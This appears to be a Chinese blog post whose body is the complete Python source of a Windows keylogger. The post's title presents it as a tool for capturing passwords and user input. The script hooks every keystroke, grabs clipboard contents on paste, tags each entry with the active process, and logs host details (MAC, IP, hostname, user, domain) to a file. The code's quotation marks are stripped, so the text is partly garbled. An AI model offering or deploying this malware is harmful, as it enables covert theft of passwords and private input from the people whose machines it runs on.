python 按键记录器 密码记录 用户输入记录
# -*- coding: utf-8 -*- from ctypes import byref, create_string_buffer, c_ulong, windll import pythoncom import pyWinhook as pyHook import time import win32clipboard import datetime import os, uuid, socket, sys """ 键盘记录器: 1. 实时记录当前窗口名+用户按键信息 2. 记录用户粘贴信息 3. 支持-w 参数,打印并保存到文件 4. 测试环境 python3.7 """ class KeyLogger: def __init__(self): self.current_window = None def get_current_process(self): hwnd = windll.user32.GetForegroundWindow() pid = c_ulong(0) windll.user32.GetWindowThreadProcessId(hwnd, byref(pid)) self.process_id = f{ pid.value} self.executable = create_string_buffer(512) h_process = windll.kernel32.OpenProcess(0x400 | 0x10, False, pid) windll.psapi.GetModuleBaseNameA( h_process, None, byref(self.executable), 512) window_title = create_string_buffer(512) windll.user32.GetWindowTextA(hwnd, byref(window_title), 512) try: self.current_window = window_title.value.decode() except UnicodeDecodeError as e: pass windll.kernel32.CloseHandle(hwnd) windll.kernel32.CloseHandle(h_process) def mykeystroke(self, event): date = time.strftime("%Y%m%d", time.localtime()) with open(fkeylogger_{ date}.db, a, encoding=UTF-8) as f: if event.WindowName != self.current_window: self.get_current_process() if 32 < event.Ascii < 127: if flag == -w: f.write( str(datetime.datetime.now()) + - + f{ USER}- + f[KEY1]-{ self.process_id}-{ self.executable.value.decode()}: + chr( event.Ascii) + ) print( str(datetime.datetime.now()) + - + f{ USER}- + f[KEY1]-{ self.process_id}-{ self.executable.value.decode()}: + chr( event.Ascii)) else: print( str(datetime.datetime.now()) + - + f{ USER}- + f[KEY1]-{ self.process_id}-{ self.executable.value.decode()}: + chr( event.Ascii)) else: if event.Key == V: win32clipboard.OpenClipboard() value = win32clipboard.GetClipboardData() win32clipboard.CloseClipboard() if flag == -w: f.write( str(datetime.datetime.now()) + - + f{ USER}- + f[PASTE]-{ self.process_id}-{ self.executable.value.decode()}:{ value} + ) print( str(datetime.datetime.now()) + - + f{ USER}- + f[PASTE]-{ self.process_id}-{ self.executable.value.decode()}:{ value}) else: print( str(datetime.datetime.now()) + - + f{ USER}- + f[PASTE]-{ self.process_id}-{ self.executable.value.decode()}:{ value}) else: if flag == -w: f.write( str(datetime.datetime.now()) + - + f{ USER}- + f[KEY2]-{ self.process_id}-{ self.executable.value.decode()}:{ event.Key} + ) print( str(datetime.datetime.now()) + - + f{ USER}- + f[KEY2]-{ self.process_id}-{ self.executable.value.decode()}:{ event.Key}) else: print( str(datetime.datetime.now()) + - + f{ USER}- + f[KEY2]-{ self.process_id}-{ self.executable.value.decode()}:{ event.Key}) return True def run(flag): date = time.strftime("%Y%m%d", time.localtime()) with open(fkeylogger_{ date}.db, a, encoding=UTF-8) as f: if flag == -w: f.write(f{ DOMAIN}-{ IP}-{ MAC}-{ HOSTNAME}-{ USER} + ) f.close() else: print(f{ DOMAIN}-{ IP}-{ MAC}-{ HOSTNAME}-{ USER}) kl = KeyLogger() hm = pyHook.HookManager() hm.KeyDown = kl.mykeystroke hm.HookKeyboard() while True: pythoncom.PumpWaitingMessages() if __name__ == __main__: # 收集当前系统信息 address = hex(uuid.getnode())[2:] MAC = :.join(address[i:i + 2] for i in range(0, len(address), 2)) HOSTNAME = socket.gethostname() IP = socket.gethostbyname(HOSTNAME) USER = os.getlogin() DOMAIN = os.environ[userdomain] # 接受外部参数: # -w: save to file # -d: default if len(sys.argv) == 1: flag = -d elif len(sys.argv) == 2 and sys.argv[1].lower() == -w: flag = -w else: print("Input Error") sys.exit() print(run(flag))
下一篇:
python实现圣诞节圣诞树以及烟花